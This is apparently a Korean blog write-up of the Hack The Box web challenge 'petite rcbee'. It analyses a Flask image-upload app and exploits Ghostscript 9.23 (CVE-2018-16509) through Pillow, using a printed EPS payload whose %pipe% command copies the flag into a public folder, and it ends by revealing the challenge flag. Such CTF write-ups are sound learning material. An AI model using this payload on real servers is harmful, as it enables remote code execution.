ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [HTB] petite rcbee Writeup
    Wargame/Hack The Box 2023. 4. 25. 10:33

     

    주어진 페이지에 접근해보자. 파일 업로드 기능이 있는 것을 확인 할 수 있다.

     

    웹쉘 파일 업로드 하는 시나리오를 우선적으로 생각하며 소스코드를 분석해보았다.

    # utils.py
    import tempfile, glob, os
    from werkzeug.utils import secure_filename
    from application import main
    from PIL import Image
    
    ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])
    
    generate = lambda x: os.urandom(x).hex()
    
    def allowed_file(filename):
        return '.' in filename and \
            filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS ##### ... (1)
    
    def petmotion(bee, frames):
        outputFrames = []
    
        for frame in frames:
            newFrame, i = Image.new('RGBA', frame.size), frames.index(frame)
            width   = int(75*(0.8 + i * 0.02))
            height  = int(75*(0.8 + i * 0.05))
            kaloBee = bee.resize((width, height))
            frame   = frame.convert('RGBA')
            newFrame.paste(kaloBee, mask=kaloBee, box=(30, 37))
            newFrame.paste(frame, mask=frame)
            outputFrames.append(newFrame)
        
        return outputFrames
    
    def save_tmp(file):
        tmp  = tempfile.gettempdir()
        path = os.path.join(tmp, secure_filename(file.filename))
        file.save(path)
        return path
    
    def petpet(file):
    
        if not allowed_file(file.filename):
            return {'status': 'failed', 'message': 'Improper filename'}, 400
    
        try:
            
            tmp_path = save_tmp(file)
    
            bee = Image.open(tmp_path).convert('RGBA')
            frames = [Image.open(f) for f in sorted(glob.glob('application/static/img/*'))]
            finalpet = petmotion(bee, frames)
    
            filename = f'{generate(14)}.gif' ##### ................. (2)
            finalpet[0].save(
                f'{main.app.config["UPLOAD_FOLDER"]}/{filename}', 
                save_all=True, 
                duration=30, 
                loop=0, 
                append_images=finalpet[1:], 
            )
    
            os.unlink(tmp_path)
    
            return {'status': 'success', 'image': f'static/petpets/{filename}'}, 200
    
        except:
            return {'status': 'failed', 'message': 'Something went wrong'}, 500

    (1)과 같이 파일명을 . 기준으로 split 했을 때 가장 오른쪽 요소의 값을 검증하는 로직이 있기 때문에 파일 확장자를 우회 할 수는 없었고, 널 바이트 삽입 등을 통해 서버에서 인식하는 과정에서 오류를 통해 업로드를 시도해보려고 했으나,

    (2)와 같이 파일이 업로드 되더라도 일련의 과정을 거친 후에 {난수}.gif 로 확장자까지 고정으로 변경되어 업로드 되기 때문에 웹쉘 업로드 시나리오는 사실상 불가능 하다고 판단했다.

     

    해당 페이지의 기능이 파일 업로드 밖에 없으므로 해당 시나리오가 불가하다면 웹 서비스를 구동하는 과정에서 설정 문제가 있을 것이라고 판단하고 주어진 파일들을 전부 찬찬히 분석해보았지만 큰 특이사항은 발견하지 못했다.

     

    마지막 남은 시나리오는 취약한 버전의 컴포넌트를 사용하여 그것에 유효한 알려진 취약점을 활용하는 것 밖에 없다고 판단했다. 

    Dockerfile을 보니 ghostscript 9.23 버전을 사용한다는것을 알 수 있었고 해당 컴포넌트에 알려진 취약점이 있는지 찾아보았다.

    #### Dockerfile
    FROM python:3
    
    # Install system dependencies
    RUN apt update -y; apt install -y curl supervisor 
    
    # Install Python dependencies
    RUN pip install flask Pillow
    
    # Switch working environment
    WORKDIR /tmp
    
    # Install Pillow component
    RUN curl -L -O https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23-linux-x86_64.tgz \
        && tar -xzf ghostscript-9.23-linux-x86_64.tgz \
        && mv ghostscript-9.23-linux-x86_64/gs-923-linux-x86_64 /usr/local/bin/gs && rm -rf /tmp/ghost*
    
    # Setup app
    RUN mkdir -p /app
    WORKDIR /app
    
    # Add application
    COPY challenge .
    
    # Setup supervisor
    COPY config/supervisord.conf /etc/supervisord.conf
    
    # Expose port the server is reachable on
    EXPOSE 1337
    
    # Disable pycache
    ENV PYTHONDONTWRITEBYTECODE=1
    
    # Run supervisord
    ENTRYPOINT [ "/usr/bin/supervisord", "-c", "/etc/supervisord.conf" ]

     

    서치해보니 어렵지 않게 exploit poc를 찾을 수 있었다.

    https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509

     

    GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Executio

    PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509 - GitHub - farisv/PIL-RCE-Ghostscript-CVE-2018-16509: PoC + Docker Environment for Pytho...

    github.com

     

    %!PS-Adobe-3.0 EPSF-3.0
    %%BoundingBox: -0 -0 100 100
    
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%cp /app/flag* /app/application/static/petpets/flag.html) currentdevice putdeviceprops

     

    문제 소스에서 플래그 경로를 확인 할 수 있기 때문에, 해당 파일을 config.py에 선언되어있는 UPLOAD_FOLDER 경로에 flag.html파일로 복사하는 RCE 페이로드를 업로드 시도하였다.

     

    업로드 후 /static/petpets/flag.html로 접속해보니 RCE가 정상적으로 작동하여 플래그를 조회 할 수 있었다.

    FLAG = HTB{c0mfy_bzzzzz_rcb33s_vlb3s}

    반응형

    'Wargame > Hack The Box' 카테고리의 다른 글

    [HTB] Precious Writeup  (0) 2023.05.02
    [HTB] AbuseHumanDB Writeup  (0) 2023.04.28
    [HTB] Toxic Writeup  (0) 2023.04.21
    [HTB] Inject Writeup  (1) 2023.04.19
    [HTB] LoveTok Writeup  (0) 2023.04.12

    댓글

Designed by Tistory.